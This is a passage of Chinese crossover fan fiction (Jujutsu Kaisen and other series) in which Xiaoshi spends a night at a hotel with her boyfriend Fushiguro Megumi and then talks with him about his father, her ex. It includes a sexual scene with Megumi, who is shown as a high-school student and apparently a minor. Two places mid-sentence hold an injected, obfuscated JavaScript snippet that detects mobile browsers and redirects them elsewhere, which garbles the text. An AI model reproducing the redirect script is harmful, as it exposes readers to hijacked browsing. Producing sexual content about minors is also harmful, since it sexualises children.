“事实上因为没有人成功调服过魔虚罗,因此这个方案的可行性成谜,万一它被打死了呢?惠你只是在赌魔虚罗够强,你没有见过它,给点基础分;其次正因没有人成功调服过魔虚罗,你也没有把握调服,那你的结局是:人都没了分当然也没有。听说你总是在想极限一换一的时候想起它,这种事情一生只有一次,作为游戏里的方案显而易见的敷衍,很明显第一名就是有始有终逻辑清晰并且不负众望完成任务的我嘛!” 骄傲叉腰。 “怎么就完成任务了?我有异议!而且我可是人见人爱的最强,你个邪恶幻术师哪来的众望!” “我要告诉硝子你想干掉她!” 她不听她不听。 小莳作为会议主持人,宣布大家进入下一项议程。在活跃环节的缓冲下,男朋友的情绪完全恢复过来了,她可真是世界第一级别的好对象。 小莳一直都知道自己能把同龄人甩老远,她根本不在乎被抛在后面的人是怎么看的,但这位可是认真交往的对象,和其他人不一样,而且坦白说小莳觉得十影是上限极高的术式……算了,亲密关系中偏好自卑的男人是她的宿命,相比之下五条悟那样浑身散发自信的反而让她觉得不妙,容易让她想到童年阴影。 这也是她的缺陷,难以交付信任给特定种类的人。 小莳把原因推到了泽田家光头上。 进行一些不忘初心的加单:“我要追加一杯可尔必思,然后就用黄油土豆和扭扭薯条这两对国民级别的骨科作为今宵压轴菜品。” 伏黑惠大概知道土豆和薯条算一对:“那么第二对是?” 回答他的人是五条悟:“绝对是可尔必思和黄油。” 小莳一脸甜蜜倒在男友怀里:“乳酸菌怎么不算牛乳饮料呢?” 73. 第 73 章 散场后,公交地铁都停运,小莳打发走了难得空闲的五条悟,拉着伏黑惠的手在街上行走,她在看手机,落后一步。 “我们怎么回去?”他问。 小莳闻言抬头,看见前方回头的男友口中呼出的白气,她说:“今天太冷了。” 伏黑惠会错了意,他看着女友仍穿着针织外套和七分裤的秋日搭配,以为她觉得凉:“到了夜里幻术就不起效了吗?我可以把外套给你。”说着他反身摸了摸小莳的脸,温软的触感令人着迷。 “反而是惠的手冻到我了。”小莳趁此机会凑了上去,抱住伏黑惠,对他小声说:“我是说,我们住外面,我刚刚看好了酒店,就在两条街外。” 他觉得自己受到了某种近乎裸露的直白的暗示,脸腾的一下聚集起血色,而脑袋却像是被零下的空气冻住,过了片刻他才结结巴巴地说:“现在就……会不会太早了?” 小莳觉得他想多了,她只是犯困。但是偶尔见到男朋友像受惊的鸟儿一样茫然失措的样子,挺有趣。她什么也没说,拉着他往导航地点走去。 过了一会,不知道这段时间他想了什么,反正他期期艾艾地说:“我还是第一次。” 小莳笑得想死,但她忍住了,回头看男友,他半张脸缩在高专高领的外套里,头发的阴影又将另外半张脸遮掩起来。 一脸娇羞地连续说了很奔放的内容呢。 不愧姓伏黑。 小莳一本正经地说:“好吧,那我们就纯睡觉。” 走过一条街,路面开阔起来,红绿灯和商业楼里映出的霓虹光景与这对小情侣行色匆匆擦肩而过。 等红绿灯时,小莳听见男友认真对她说:“小莳,我觉得这种事还是等结婚再……比较好。” 她不置可否,只是连声音也藏不住笑意:“哦?我感觉惠你还挺期待的呢,不想做吗?”问最后一个带着引诱意味的问题时干脆整个凑进害羞的男友冰冷的怀里。 “……” 小莳贴紧伏黑惠,对着他耳朵吹气:“惠,你的外套好冷哦,幻术在碰到你的地方就失效了,你抱抱我。” 伏黑惠想说她可以站远点,但他又不想让她离开,于是…… 他的不言不语不影响小莳发挥:“呀,我们小惠脸上写着不要,身体却很诚实把我搂紧了,真狡猾!” “别说了,小莳。”伏黑惠把头搭在女友肩上,在她安静下来后松开怀抱,只是握着她的肩膀,看着她的眼睛说:“我觉得这样才是对你负责的做法,不管以前你和他是怎样,我--我不会伤害你,所以还是等更正式的时候再……做那种事。” 小莳看见男朋友的脸越来越红,语调也越来越轻微,但他仍然坚强地说完了整段话。 他见识的事情不够多。他不太了解她。 小莳是一个对自己的身体相当负责的好主人,她当然不会随意和交往对象交往到负距离,并不是出于安全方面的考虑,也和身体意义上的初夜无关,仅仅只是她不情愿。 就像一位富有的成功人士不会因为免费就吃掉不喜欢的昂贵实物,不会因为打折就买下看不上眼的丑东西--如果她觉得不想,就不会。 她和伏黑惠当然还没有到那一步,她本来也没想做那种事,说那些调笑的话,只是逗一逗不知道脑子里跑了几圈马拉松的男友。 ……他好像把伏黑甚尔想得有点坏,把她想得像电视剧女主一样易碎,这一系列误会让她忍俊不禁。 不过这一刻,在伏黑惠说出这番话的时候,她就已经被他身上隐忍又细腻的真情触动些许。伏黑惠大概有点缺爱,是利他属性居多的那种缺爱:一会自顾自地陷入不安情绪,一会又自说自话的把她归为会在两性关系中受到伤害的一类,总是小心翼翼地为人忧心,但又不把冗余的价值观加诸其身。 小莳想,虽然之前没有真的很想和伏黑惠发生点什么,但现在她有点想了。 她对一定要和初次的对象结婚这种事执念缺缺,只要当下喜欢+以后别因为想起这种事而留下赛博案底就行。所以……瞬间得出名为值得一试的答案。 “你似乎把我想的很脆弱,你知道比起仰仗他人怜爱,我们更应该自己把控人生。对吧,惠?”小莳撇开伏黑惠搭在她左肩上的手,然后钻到他的怀里,又一次在他耳边絮语:“如果你不会因为亲密行为受到伤害,那我当然也不会。我和惠都是一样的血肉之躯。”严格来说大家都是第一次嘛! “不,我的意思是--” 小莳竖起食指封住了他的嘴唇。她的指腹贴在男友的唇珠上,收起温柔的表象,蹙眉说起了实话:“我不会因为和你发生什么而后悔的,也不会被这种事情伤害到。一定要我说的话,在两性关系中有一方会受到伤害仅仅是因为他将支配权让渡给了另一方,陷入了某种身不由己的状态,除此之外就是在那以后的社会评价--你知道地球上大部分地方都会对某一个性别挑挑拣拣。但你应该晓得,我并没有被你牵着鼻子走,我没有被任何人牵着鼻子走。” 她没做出过什么情非得已的选择,也没有选过两难的选择题,截至目前为止,思想一派清明。 “你并没有引诱我,伏黑惠,你并没有巧言令色地煽动我,并没有像色令智昏的浪子一样急不可耐想把我勾到床上去。我和外面的男人不一样,在发生什么以后我可不会说是一个异性蒙骗了我。”她是她身体的唯一主人,她并不期待有人替她负责,但如果有的话她也会感激,只不过有些事情还是说明白些好:“在童话里,他们总是说人类有不灭的灵魂。可就像我的无神论一样:我没有觐见过神明,也没有真正看见谁的灵魂,所以我姑且不承认它们的存在……但如果这些都存在的话,如果人真的有灵魂,为什么你就不愿意相信我同时被你的灵魂吸引呢?” 小莳一向相信自己无往不利的直觉,当她感觉到什么的时候,决定和思想就会朝那个方向随波逐流。 她搂着伏黑惠的脖子,踮起脚凑近他,终于移开贴着他唇的手指,两人唇瓣贴着唇瓣,她对他说:“我怎么会因为被你吸引为你着迷而被伤害呢?” * 五分钟后,便利店门口,小莳叮嘱伏黑惠:“顺便帮我带一小瓶伏特加和可乐,如果有的话再来一杯冰块。征十郎如果知道他会原谅我的。” 她就不跟进去了,怕伏黑惠紧张。 男朋友出来的时候没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413141|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带酒,只有冰块和可乐……雨伞。 “店员要看我证件。”合法饮酒年龄20,他看起来没到。 岂有此理,雨伞都买到了,居然买不到伏特加,小莳冲进去就想自己买,她的卡上年龄幻术成25都行,反正很多年长的女性都显年轻。被伏黑惠拦住了。 “别喝了,再过两年吧。” ……建议下调这个年龄限制。 便利店过条马路就到了酒店,小莳定了现有的规格最高的套房,言明没有行李,拒绝了侍者引路的服务,她听见楼层还有房间号以后就和伏黑惠自己上去了。 她对酒店设施的介绍兴趣不大。 “有干净的房间和浴缸就行,我完事以后想去泡一会,搭配上可乐加冰,差强人意。”少点柠檬和伏特加。 伏黑惠因为她的话脸红心跳。 小莳眼尖瞥见塑料袋里只剩两样东西了,她问:“那个呢?” 他声音低到差点听不见:“在我口袋里。” “……”好吧,塑料袋是透明的,他如果觉得害羞也正常。 他把头缩成一颗海胆的样子真就让人想狠狠欺负,但是小莳可是个好姑娘,所以她劝他:“你别想太多,前台服务员每天见到形形色色的人,看到我们只订一间大床套房,时间还是深夜,会发生什么事简直不需要思考。人家一眼就明白了!” 一番大大咧咧的劝告起到了反效果。 出电梯以后伏黑惠同手同脚,路过房间以后他罕见的继续往前走,被小莳捏住了后脖子--她好喜欢捏伏黑惠后颈。那里线条优美,轻抚上去的时候还会引得他轻轻一颤。 白皙得想咬一口。 小莳顺着脖颈往下,勾到了他的衣领,食指把人引到房间里来,然后狠狠关上门,祈祷酒店隔音够好隔壁没被惊扰--这么贵的酒店如果出了问题那可不是她这个顾客的问题。 她把伏黑惠推在门上,右手手掌贴着他的胸膛靠近心脏的部位,不让他离开,左手的手指一粒一粒和他的外套纽扣较劲,将它们悉数解开,一点一点露出里面的白色衬衫。 “呀,惠的白衬衫无论看多少遍都觉得好……”瑟。才说了被人灵魂吸引不要这么快就搞得好像在骗纯良男高一样。小莳闭上嘴,随他怎么脑补,她松开手改搭着他的肩膀和抬起头吻他。 唇舌交缠间,小莳领着伏黑惠转移阵地来到床上,伏黑惠坐在床边,而她腿分开,膝盖搭在床沿,用一种近乎箕坐的方式整个人挂在他身上,贴着亲昵。 在这短时间内,她已经除去了他的外套,内里的衬衫也已半解开,露出姣好的身体,小莳在他身上闻到醉人的香气,她顺着他的下巴,到喉结,再到锁骨,唇瓣与舌尖有序地在男友身上进行一场巡礼,在所过之地留痕,他的喘息离她渐远--小莳把他推倒在了原本整洁连褶皱都被打理得一丝不苟的床单。 少年水雾蒙蒙的双眼,情mi意乱的脸,尽收眼底。 小莳用手指轻拂过他裸露在外的肌肤,将衬衫更撩开些,显露出整幅身躯,她双手握住他的手腕,倾身压了上去,像采撷枝头最柔嫩的花瓣那样吮吸他的肌肤,倾听他因为紧张而发出的一二声喘息。 74. 第 74 章 她想说如果你敢想着要求再来一次我就把你打一顿,想说我累了我乏了虽然明天无所事事但是犯困是这样的,想说你可不能做那种只顾自己不顾女朋友的坏家伙。 她看见伏黑惠的一双绿色眼睛,潮湿柔软的眼神,水汪汪的,像小狗一样看着她,他的眼睛里就汇聚着多雨的灵魂--伏黑惠完全没那个意思。 这会她又不困了,她好喜欢他的眼睛,当然也喜欢被水汽软化的头发,然而最让她受不了的还是他完全有别于刻板印象里糟糕还自以为有魅力男性的种种表现,真是个沧海遗珠级别的好人。她手伸出水面,帮他把头发往后捋,短暂拟成了背头的样子,斯文极了。她和他打商量:“我们再来一次?” 他要抱她出去,她说:“就在这。” …… 三点钟的时候,小莳看了眼手机,觉得自己明天到退房时间大概醒不来,然后和抱她上床歇息的男友一同陷入梦乡。 这会她不觉得牙龈肿痛了。 小莳迷糊醒来的时候房间里还是暗沉沉的,面前将她搂在怀里的少年已经穿上了衬衫和内裤,而她还赤裸着。伏黑惠在她下意识呢喃和收回他放在自己腰上的手时就意识到女友快醒了,他对她说:“早安。”实际时间是下午13点。 她揉了揉揉眼睛,发现自己将男友挤到了床边,两人在角落里像在什么拥挤的密闭空间一样身体贴合相拥。小莳觉得这是自己下意识想远离昨晚激情的场地所致,有很多激情的痕迹,还有床单的褶皱,虽然来源都是他们自己,但毕竟清洁过了,得睡在干净的地方才行。 “几点了?”她下意识把面前的人当做抱枕,右腿搭上了他的腿,换了个更舒服的姿势躺着。 “已经到午餐时间,我请管家点了菜,马上联系他送上来,小莳你……先穿衣服。” 她亲昵地在男友怀里蹭蹭,突破了关系界限以后小莳心中的边界感又往里挪挪,她更没了顾忌,经过了一晚的充足睡眠,她现在精神饱满。 “懒得起床,再陪我躺一会。”小莳的手最终停留在他胸口,摸了一通,开始解扣子。 “……小莳你,身体不会难受吗?”他握住小莳流连在他胸前的手。 “真奇怪,我们明明在进行上半身的友好交流,你怎么就能想到下面去?”小莳把手抽开,在他唇上点了一下,“真是糟糕的家伙,以及我的反转术式运行良好,断了条腿都能长出来的那种,爱来自并盛。” 男友好像智力不是很高的关心让她心里暖暖的。 “机会难得,你要不要帮我穿衣服?”她没太关注伏黑惠听了话的反应,想到内衣裤被丢在了浴室,衣裤又在套房采光最好的落地窗旁桌上,太远,打消了起床的念头,说着就开始指示伏黑惠干活:“我不想自己去拿,惠惠你快去。” 希望电视剧的弱智情节入刑,这对青少年的影响不可估量。平时挺聪明一孩子跟着剧情里看来的不知道编剧灌了多少酒写就的脑回路,歪到天边去。她现在可是能一鼓作气跑完半程马拉松的坚强女孩,只是一点情侣间的深入交流活动,根本难不倒她。 伏黑惠甚至是一起和她做体能训练,又知道她反转术式进步水平的。当然,小莳否认了自己的嫌弃意味,只是殷切期盼他以后不要这样少见多怪。 坦白说,当对方帮她穿内衣时小莳还是有点紧张的,但是看到他手都扣不稳搭扣的时候小莳心里的紧张反而奇迹般消失,她开始洋洋得意:“昨晚怎么没发现你有帕金森,这么会抖应该送去企业食堂打饭。” 伏黑惠被她一调笑反而更紧张,小莳蹬开被子:“我自己来。”在她耐心告罄当场,伏黑惠扣好了。接着小莳又低声教导他在完成第一步后该如何将胸前的内容物调整到它该在的地方,又让他将钢圈的位置整体再调整下。 男友脸红心跳受教。 和年下男高交往还是十分有趣的,更不用说这人是伏黑惠。清冷脱俗的气质,寡言的外表下却有一颗关怀备至的心,毫无疑问,小莳喜欢极了。 又重新被叠放整齐的衣物被送来后,小莳一眼看出这是他又整理过一遍的,比她昨晚随意折叠的美观太多。咒术师还真是独立自主生活能力强的职业。 “你现在可以去通知管家送菜了。对了,我们是不是已经过了退房时间,早上没人来敲门吗?”她才想起来这件事,昨晚她只定了一夜,应该在中午12点前结束。 伏黑惠在11点的时候是接到来自前台的电话的,但小莳那时完全没有醒来的迹象。他说:“我又续了一天。”昂贵的费用直接让钱包见底。 “真假?你这么有钱?我16岁的时候可不敢随便住这种地方。我的父亲赤司征臣是个不愿意给女人花钱的坏家伙。”赤司征臣对于家风有着严格的要求,不希望自己的孩子成为奢靡无度的纨绔子弟,因此即便零花钱足够,也不允许她出行时住规格过分豪华的酒店,待遇水平远超庶民,但比彭格列抠门。“我以前在洛山的时候修学旅行还是和同学睡的大通铺,仅仅因为我给他打电话要求单人住宿被拒绝。并且也不能翘了修学旅行。” “而且他还没收我银行卡。”仅仅一周。 “害得我只好过上了苦日子。”刷征十郎的卡。 “反正挺艰难的。”在医院单间里有人伺候,正好没什么消费需求,只是无聊。 蒙太奇了一下,但这话在眼明心亮的伏黑惠听来真实性有待商榷,能让小莳笑着说出来的苦日子应该算不得艰难。 他说:“还好,做了一级咒术师之后攒了些钱。” “就只是这样?”小莳想起来七海和她说的薪资待遇情况,一级咒术师的收入水平比她在米花那会开销还低,放在任务较少的冬天,一天的酒店费用就抵大半个月收入了。伏黑惠也只在一级待了月余,身份还是不能和纯打工人相提并论的学生,“那也太少了,我过会给你转账。” 没钱寸步难行,总感觉这些高专学生的经济条件也只比京都和米花好一点--至少有点收入来源,但让支付奢侈消费的资金那就是强人所难了。 伏黑惠拒绝:“不用,至少这种时候应该让我也承担一些。”生活拮据是一方面,但如果房费都要女友全支付,未免太缺乏担当。 “那好吧,就拜托你咯。”爬到床的另一边,查看床单的情况,“既然你这么有觉悟顺便就把清理费用一并承担了。” 伏黑惠一直坐在床沿,他和小莳一起看到了被挪开被子的床单上留下的点点痕迹。他还没反应过来的时候,女友维持趴跪的姿势回了头,似乎是想到什么事情一样询问他:“你应该不是那种害怕卫生巾有损阳刚之气的真男人吧?” * 被委以采购任务的伏黑惠拎着袋回来时,小莳已经坐在被收拾好的茶几前享用餐桌上的菜肴了,她向她推荐:“班尼迪克蛋不错,但是其他的很普通,过会我们回高专的路上再吃点,我想吃龙虾盖饭。” 弥补一下面前味道平平的龙虾意面的不足。 关于接下来男友提出的有关生理期的疑问,小莳这次实在忍不住吐槽:“我看你有点五条悟入脑了,不,我只是因为第一次身体有点没适应,多谢关心,让它流一下血停了就没事了。毕竟瓣膜流血不在反转术式理赔范围内,垫个东西比较好。” 伏黑惠过了一会才找回自己的声音,他问:“小莳你--你以前没有--” “是这样的,大家都是初次体验哦~”她将盘子边的蔬菜也沾上蛋液,裹着火腿塞入口中,看出了男友的惊讶,她说:“你知道谈恋爱并不意味着一定要发生关系,所以快收起你这副好像要哭出来的表情。” 上次看到这张脸还是在田所惠的民宿里,有位顾客品尝了美食后留下了感动的泪水。吃美味的料理是没什么好哭的,但是为第一次也不至于到这种程度吧! “……你是有什么情节在身上吗?”小莳被拉到他怀里的时候嘴角还有酱汁,她拍拍男友的肩:“虽然我对初次的事情也会有点在意,搞不好一生都忘不掉,但这也就只是一段经历而已,如果太过看重反而会落入社会评价的陷阱。” 关于这件事,她当然是在乎并且细心挑选对象的,否则在她多次和伏黑甚尔亲热的时候早就顺便把被社会广泛认可的“x行为”标准动作给执行了。前男友身上确实有很多吃软饭的技能点,当然也包括那方面,和他在一起完全不用自己主导,放任他来掌控节奏便好,如果……肯定会有难忘的体验,是褒义的难忘。 但她不想。 “我,我好高兴,小莳,”他的声音充盈着喜悦,以及受宠若惊,“我以为你之前就……你和他在交往了一年,可是和我才……” 声音断断续续的,显然语无伦次。 “所以都说了要不是有恩在身上,3月我就要分手了!”小莳没说过这种话,但在京都那次她确实是生了想要分手的心,只是压着脾气没分,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413142|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面也就凑合着半死不活。这场恋爱谈得完全不符合小莳的脾性,而另一方对此大概一直无知无觉,想起来还是来气:那个乌发碧眼的家伙,还真是恋爱中不知爱,濒临死亡不知死。 “我以为……小莳,对不起,我以为你和他做过。”伏黑惠将她抱得更紧,他颤抖着,却带着不言而喻的狂喜,最终温柔地说:“当我想到,你和我做过的一切,在此之前你都和他一起经历过,我们共享的所有情绪,你也和他有着相同的过往,那些时时刻刻,那些关于你和他的事情,会让我觉得难受。我也想和你有最初的、只属于我们两个人的……”伏黑惠不会将之概括为占有欲,小莳是属于她自己的,他也没有能耐去占有这样的女孩,只是一想到眼前的女孩在他还不认识她的时候也和其他人--他生理上的父亲,有着相似的亲昵,相似的情意绵绵:她对他说过的话,她对他主动的吻,她对他夜间的耳鬓厮磨,是否都曾经被另一个男人以相同的方式拥有过?他们在一起的时间,一起经历的约会,是否也都有伏黑甚尔留下的记忆掠过她的脑海? 他会为这样的想法唾弃自己,伏黑惠在内心深处清晰意识到,彼时他们不相识的时候,他们互相对彼此没有情义与责任,自然也没必要为了不存在的未来而影响当下的判断,小莳在和伏黑甚尔在一起时的一切行为都是正当的、合理的、无可指摘的。可他却会为了她过去的无可指摘而难过。伏黑惠觉得自己可悲又可笑,她会和他说:“我只是不想让你觉得和你交往后我还在想他,令你遭遇相似的事情。”,她是那样光明坦荡直白的女孩,可他仍然会有些疯狂地想,如果她在一开始就遇到自己该有多好。 更不用说,他目前经历的恋情本身,就源于一场关于伏黑甚尔下落的刻意隐瞒。 现在,好似有一道灼热的火焰炙烤他的思想,有一道合该他经受的谴责视线在冥冥之中凝视他,他好像也被良心和道德生生扯下一块肉,但这些的一切加在一起,也比不过小莳对他含笑的一个眼神。伏黑惠定了定神,然后声音愈发轻柔:“我很高兴,小莳,我也有了只属于我们两人的时刻,我会永远记住的。” 如果不考虑他记得的内容到底是什么,这句话还挺令人感动。小莳的声音带上迟疑:“这种事情就不要永远记住了吧,听起来怪不正经的。” “而且,”她纠正他,“正如同你姓伏黑是因为你继承了这个姓氏,你从他那里得来的,这是属于你的东西,而不再属于你父亲了,他有他自己的姓氏,就算都姓伏黑也一样。我和伏黑甚尔是有过一段正常人都会有的恋爱烂俗情节,但那些记忆,那些经历,现在都只是我的东西,和他没什么关系,硬要说的话这就像电影和演员,现在参演者杀青了,我也有自己的生活,这段记忆就像是影片一样,和演员不再有瓜葛。你说的好像我在恋爱期间被他改造了一样,或者像我心里还总是想着他拿你做代餐一样,无论是哪种都很恐怖,都让人毛骨悚然,你能别乱想了吗?” 他知道,她一向善辩,且言之有理,他也知道她说的都对,他应该像她说的一样,像他本该有的正直人格一样,坦然面对,可他总会混淆。 他的心底漾起不曾感受过的幸福,与幸福同样深沉的是恐惧,他害怕欢愉只是一瞬,害怕这一切只是短暂的铺垫,伏黑惠问:“如果伏黑甚尔在这里,他又是你的前任,你还会和我在一起吗?小莳。” 他的声音很轻,到最后的呼唤那里几乎微不可查。 小莳露出了一言难尽的表情,她说:那我大概会像处理和虎杖的关系一样处理你们。 她忌惮两面宿傩,因为直觉如此。而她对虎杖……伏黑惠清楚记得她说的“元气男高、讲话可爱、直击人心”。 可她几乎从不找虎杖说话。 伏黑惠总是混淆,当下他彻底弄清了其中原因:因为他现在所拥有的幸福是靠为人不齿的手段偷窃而来,因为他本该和她无甚瓜葛,因为他确信他在高专里见面的那一眼就对小莳入迷至深。 他不敢做正确的事,他不敢承担那样的后果。 这段关系的脆弱程度取决于小莳得知真相的速度,取决于她那时的情绪,取决于她最后的裁断。而他从一开始就失去了干扰此的权利,他不可避免的做出错误的选择,随后在恐惧中看见事情一步一步向它的终点走去。 世界上怎么会有如此残酷的爱情。 伏黑惠轻轻拢了拢小莳的肩,对她说:“你不要离开我。” 75. 第 75 章 伏黑惠,似乎对世间的一切都缺乏信赖,并非天生,但总归他现在是这一副样子。他也不为此责怪任何人。这些小莳在第一次见面时就感受到了。 准确的说是第二次,因为第一次他忙着骑猫头鹰。 她笑着轻吻他唇角:“目前想不到会有任何事情会让我想要离开你,虽然我刚刚可能对待你的父亲有关言语措辞凶狠了一点,但我的生气都是有缘由的!” 小莳说着说着又生气起来,他挽着男友的手,皱眉对他说:“我有点想说,平时忘记也就算了,但一想到还是很恼火。你愿意听么?” 他点头。 小莳为自己征得同意后才说的分寸感感到骄傲,然后她迅速说起自己因为指环不知缘由偷渡过去找她而愣神,在此时候伏黑甚尔打破她老家窗户出现了的感动故事:“那天晚上我问他有多喜欢我,他什么都没有说。他什么都没有说。”她摇着头,重复一遍。 “太过分了!就是在那一瞬间我决定不能被这样的男人毁了一生。”话虽如此,小莳的心却不像她的口一样坚决,在那之后她仍然真心实意和他相处着,只是时刻绷紧一根弦,在感情有往深入发展的时候时刻提醒她那天在京都的月色下无人应答的心意。伏黑甚尔从没发现,自然也不会解决。 伏黑甚尔擅长在她脆弱的时候出现,除了小时候他们还不认识外,她的人生低谷一共也只有三次,第一次,她来到赤司家;第二次,她被绑架;第三次,她近乡情怯。 他每一次都凑巧赶上了。她喜欢上他也是时也运也,但是无论噩梦美梦,是梦,都有醒来的一天。 小莳做出如下总结:“后来我就学会了冷若冰霜的谈恋爱,虽然我还吃他做的饭,穿他洗的衣服,睡他铺的床,坐他开的车,但是我再也不会笑着说喜欢他了!而且他后来也不做饭了,哎,心冷的男人连菜刀都不握了,可怕得很!” 伏黑惠觉得小莳其实好像得到了一切,那男人对她这么体贴备至吗?他相当在意。 他问:“那你们是怎么分开的?” “被绿。然后被无缝衔接。”这事还上报纸了,每一个能对的上伏黑甚尔脸的人都知道了,“说来等我回来的时候我那个有钱的朋友和我那被迫贤惠的朋友还怀疑过我是不是被爱伤到然后出国疗伤……为男人要死要活可不是好风气。” 这点上还是理子更有开阔的视野,她会和她说起蓝绿的山,碧波的湖,洁白的雪,险峻的峰。还有浪漫的城市和饱含故事的小镇。虽然她到现在也没去过瑞士…… 她和她们年岁相仿,但仿佛是两个世界的画风--来这里后才发现,果然是两个世界。 果然女人还是要有自己的事业才行……啊不过星浆体这种就算了,感觉还不如谈恋爱。 不过总之伏黑甚尔不是一个单纯的坏人,也做过几件好事,小莳摸了摸鼻子,扯开话题:“其实从和惠惠在一起以后,我也稍微发现了自己的一些……疏漏,毕竟也是我第一次谈恋爱,也有些做得不到位之处……总之过去的事情就不要再计较了!” 伏黑惠下意识觉得,能让小莳做出类似五条老师一样欲盖弥彰息事宁人反应的事情,可能比她说得更严重。 “我还挺高兴再也不用和他见面的,就像是吃了一份卡路里为0的大餐一样清爽。”尤其是还和对方的儿子在一起了。 没有再就这个问题说什么,小莳是因为心虚,伏黑惠也是因为心虚。 他们在路上吃了龙虾和烤肉,虽然没有盖饭,但酸甜和咸辣的酱料以及爽脆的蔬菜以及肉类完美满足了小莳的需求。 按照她的话说:“比起肉类本身的味道,我还是更喜欢抹足了香料的加工味道。” 伏黑惠暗暗记下。 * 回去以后小莳的生活一切如常,在并盛和高专辗转。学校那边一切都好,据奈亚所说是这样。 如果说有什么特殊的事情,除了时不时她会干脆邀请伏黑惠与自己同床外,那就是并盛来了不少拜金的家伙。 拜的是20亿。她没再涨价,但是高高又长久挂着的悬赏,至今没被人摘夺或撤下,原本就不是寻常事。加上消息泄漏,看热闹的、把她当目标的、伺机而动的、因为这里人多顺便寻仇的、以为浑水摸鱼有机可乘的,组成外来人士的成分比恒河水还复杂。 害得小莳在理论上学时间不敢以真面目现身,只能伪装成兄长的好友,进出家门。 奈奈差点以为常年在外打工的大龄男青年恋爱了并盛本地人,使不得,出门在外身份是自己给的,小莳临场说自己已婚丧偶目前单身带俩娃,和泽田纲吉熟识是因为他救了自己二儿子。 她有一次还遇到了门外顾问。 他实力很强,必定一眼就看破了她不走心的幻术,小莳没和他打招呼直接上楼,想着他要是敢进来她就跳窗溜。他挺识趣。 最近恭弥不太喜欢她,完全是迁怒--并盛最近抢劫率甚至因为赏金猎人的聚集变低了,原理不明,约莫是空气里散发着强者的气息,治安一下就好起来。 小莳想起来男友和她科普的“强力的诅咒反而会镇压周边的弱小咒灵”,简直就和这个一模一样。宿傩如果知道他被用来和一干瞧不上的诅咒师相提并论,大概不会赞同。 但诅咒师们的打扮和气息都有悖风纪,云雀在这一点上也有相当的超直感,但或许他只是看见散发着武斗气息的人都想给他们来一下,然后一网打尽了好多诅咒师。 “不得了,这要是注册个论坛账号,能赚不少钱。”悬赏的暗网上,一些诅咒师也榜上有名,要是把人上交说不定也有点零花钱可拿。 心情不美丽的云雀一股脑把善后工作全交给了小莳。 这又要牵扯一段更久远的往事。小莳的地狱之眼指环……就能一分钟内吞掉大量肉块的,简直是hitman居家必备好物,而它曾属于六道骸。 他俩关系可差可差。 小莳不想让它吃太多富集咒力的肉,两个世界的力量相碰说不定会发生什么变异,毕竟地狱指环也算得上历史悠久,并且在今天都发挥重要作用。它就像以前一样好好发挥处理后事的功能就好,小莳不想在这方面开拓创新,要知道近现代的多起病毒灾害都在事后被推测成是实验室里流出来的,小莳愿意防范风险,更谨慎一点也无害。 加上加量的工作,追求和强者一战的云雀在稍微掌握咒力后就对杂鱼没了兴趣……此时距离消息不胫而走赏金猎人汇集于此才过了一周。 他一怒之下把东西全交给小莳,而她理亏,难以拒绝。 “恭弥真是没定力,对吧,杰。”她找到了夏油杰,希望他帮忙注册个账号,处理眼下这个状况,“收入所得分你三成。” 理亏归理亏,小莳嘴上必不可能显露半点。 “你怎么不去找悟?”夏油杰看起来不是很乐意,因为他说:“一半。” 小莳知道他不是在乎钱的人,她说得犹犹豫豫:“这事找他一个正道魁首是不是影响不好?诅咒师的事情还是要找诅咒师解决。” “……”意思他是诅咒师呗,“你说话还真不客气。” 过了一会小莳知道了夏油杰的不良情绪来自何处,他发现自己被编排成温柔内敛体贴但坏就坏在报喜不报忧的小儿子了,小莳是这么和奈奈说的:“像他爸爸。” 她认栽,但还是为自己辩解:“艺术脱胎于生活,我只是取材一下。” 夏油杰把这件事情告诉了还不知情的顽劣跳脱但是意外的坚韧有担当大儿子悟,“她说令人伤心的是你会破坏她的每一次相亲。大概是在用自己的方式幼稚不成熟但真挚的不希望母亲遗忘她死去的丈夫。” 五条悟特地确认了一下日期,距离那晚的聚会才过去了一周多。 因为死道友不死贫道,夏油杰还多说了一句:“至少小莳对你的性格把握还挺准确。你有个好朋友啊,悟。” 好朋友本人此时正乔装成小寡妇和奈奈还有凪女士聊天,聊育儿。 奈奈会一本正经地说出自己的苦恼:大儿子工作太累,好像也没什么前途,据说有被裁员的风险,也没有对象;二儿子书没怎么读,工作也没有,目前在意大利他哥哥住一起,因为机票太贵都没办法总回家;小女儿一切都好,又乖巧,还有朋友总是喜欢上门做菜,这朋友时男时女的,但这不重要。最让她这个母亲挂心的事女儿和父亲关系总是有些生疏。 “家光明明是相当温柔帅气的好男人,阿纲十八岁的时候就和他爸爸关系很好了,难道是女儿会更晚些?” 凪拿出一瓶酒放桌上:“因为不是亲生的吧。我这些年也认识了一些男人,但听说我带着个小孩以后愿意留下的少,愿意待顺平好的更少。” 小莳深以为然的点点头,亲生的怎么也不至于丢监狱吧!加上她身份这会又是单身两娃宝妈,她加入这场聊天:“愿意和小五处好关系的男人几乎没有。或许正是男人的感情都别有目的也不一定呢。” 脏门外顾问当然是想怎么脏就怎么脏。 然后凪谈起了并盛高中的学风极其良好,自家孩子爱上了上学,成绩也变得平稳起来。对血学业也关注的奈奈立刻劝说让孩子继续上大学:“年轻人还是要去外面的世界看看。” “随他自己的意思吧,这孩子想法多,只要他开心我也不过问。” 